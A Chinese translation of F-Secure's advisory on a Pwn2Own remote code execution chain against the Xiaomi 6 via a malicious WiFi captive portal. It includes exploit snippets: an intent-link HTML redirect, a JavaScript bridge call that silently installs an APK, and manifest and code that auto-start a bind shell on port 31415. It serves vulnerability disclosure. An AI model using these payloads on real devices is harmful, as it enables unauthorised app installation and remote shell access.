小米6 WiFi验证门户中的RCE漏洞 – 作者:白帽汇

22.jpg

介绍

在2018年的Pwn2own上,F-Secure实验室演示了小米6在连接攻击者所控制的恶意WiFi热点后被攻陷。以下是具体步骤:

  1. 用户加入由攻击者控制的WiFi,手机会通过发送测试性的HTTP GET请求来检查WiFi是否有强制认证门户

  2. WiFi AP会做出200响应,并且在返回正文中插入恶意代码

  3. 手机会自动用HTML浏览器打开响应,也就是进入特定的URL

  4. 而在打开的特定域的恶意页面中,启用了一个危险的javascript bridge

  5. 这个bridge可从小米应用商店下载应用

  6. 最后利用Android组件中的某个漏洞自动启动恶意应用

技术细节

小米6(以及某些小米设备)与其他Android设备的不同之处在于,当在“高优先级”网络上检测到强制认证门户时,它会自动在一个HTML浏览器中打开,而不是提示用户。

攻击者可以通过创建一个恶意的WiFi AP来进行攻击。当受害者第一次加入网络时,他们可以直接访问网络,然后小米设备就会把这个网络设置为“高优先级”,因为它提供了“良好的”网络体验。然后攻击者重启WiFi AP,并将以下主机重定向到本地Web服务器:

connect.rom.miui.com

而本地Web服务对于手机发出的测试请求[http://connect.rom.miui.com/generate_204](http://connect.rom.miui.com/generate_204)肯定会返回200,并且返回的页面中还包含下一步的payload。此时,小米6会自动打开强制认证门户。

浏览器跳转

而在浏览器中打开强制认证门户包含一个WebView,它会加载generate_204请求的结果。这个WebView启用了javascript,可以通过自定义模式加载其他应用,其中包括“intent”模式。由于小米浏览器包含了一个BROWSABLE intent的http方案,因此下面的HTML可以用来加载浏览器:

<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){
 document.getElementById('foo').click();
}
</script>

使用javascript bridge安装APK

小米浏览器中有一个在所有页面中都存在的javascript bridge,miui。它包含如下方法:

public abstract class a implements IMiuiApi {public class com.android.browser.js.a$a {

@javascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {
 this.a();
 ae.a(this.a, arg2, arg3, arg4);
 }

它调用了a方法去启动一个安装服务:

private void a(String arg4, String arg5) {
 Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");
 v0.setPackage(arg4);
 v0.putExtra("packageName", arg5);
 v0.putExtra("type", 2);
 v0.putExtra("ref", "browser_suggestbutton");
 this.W.startService(v0);

这个bridge的一个限制是,它只在URL以数组bf.a包含的字符串为结尾的页面上运行:

public class bf {
 private static final String[] a;
 private static Pattern b;
static {
 bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};
 }

由于这是攻击者所控制的WiFi AP,所以很容易绕过,例如以下URL:

http://testing.mi.com/thanks.html

以上页面包含以下HTML:

<script>
 function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>

当代码运行后,将连接到小米应用商店,下载特定的应用,假设为Drozer。

自动运行

2017年出现的针对三星S8手机的应用自启动漏洞其实不仅限于三星,还影响到所有Android设备。其中的Contacts provider组件(com.android.providers.Contacts)会检查每个新安装的应用程序,查看在AndroidManifest.xml文件中的元数据是否包含一个provider。

<meta-data android:name="android.content.ContactDirectory" 
 android:value="true"/>

而在Drozer应用中的以下内容将触发这个缺陷:

<provider android:name="com.mwr.dz.MyContentProvider" 
 android:authorities="dzprovider" 
 android:enabled="true" 
 android:exported="true"> 
 <meta-data android:name="android.content.ContactDirectory" 
 android:value="true"/> 
</provider>

当检测到元数据时,会尝试使用onQuery方法对provider进行询问。而这个询问方法会被Drozer重写,变成一个打开绑定shell的命令。

public Cursor query(Uri uri, String[] projection, String selection, 
 String[] selectionArgs, String sortOrder) { 
 Intent i = new Intent(); 
 i.addCategory("com.mwr.dz.START_EMBEDDED"); 
 i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));
 Context c = getContext(); 
 c.startService(i); 
}

最终打开的端口在31415。

时间线

2018-11-14:在Pwn2Own向ZDI报告了漏洞

2019-01-27:ZDI与厂商联系,请求交流

2019-02-06:ZDI再次联系厂商,要求更新漏洞流程

2019-02-06:厂商答复计划在二月底之前发布更新

2019-02-08:ZDI通知厂商,如果2月底前没有可用的安全补丁,则将结束整个漏洞流程

2019-03-04:厂商进行了答复,但未提供最终时间

2019-06-03:ZDI通知厂商打算结束整个漏洞流程

2019-11-22:F-Secure发布漏洞详情

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3232.html
来源:https://labs.f-secure.com/advisories/xiaomi-wifi/

来源:freebuf.com 2019-11-29 17:36:10 by: 白帽汇

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论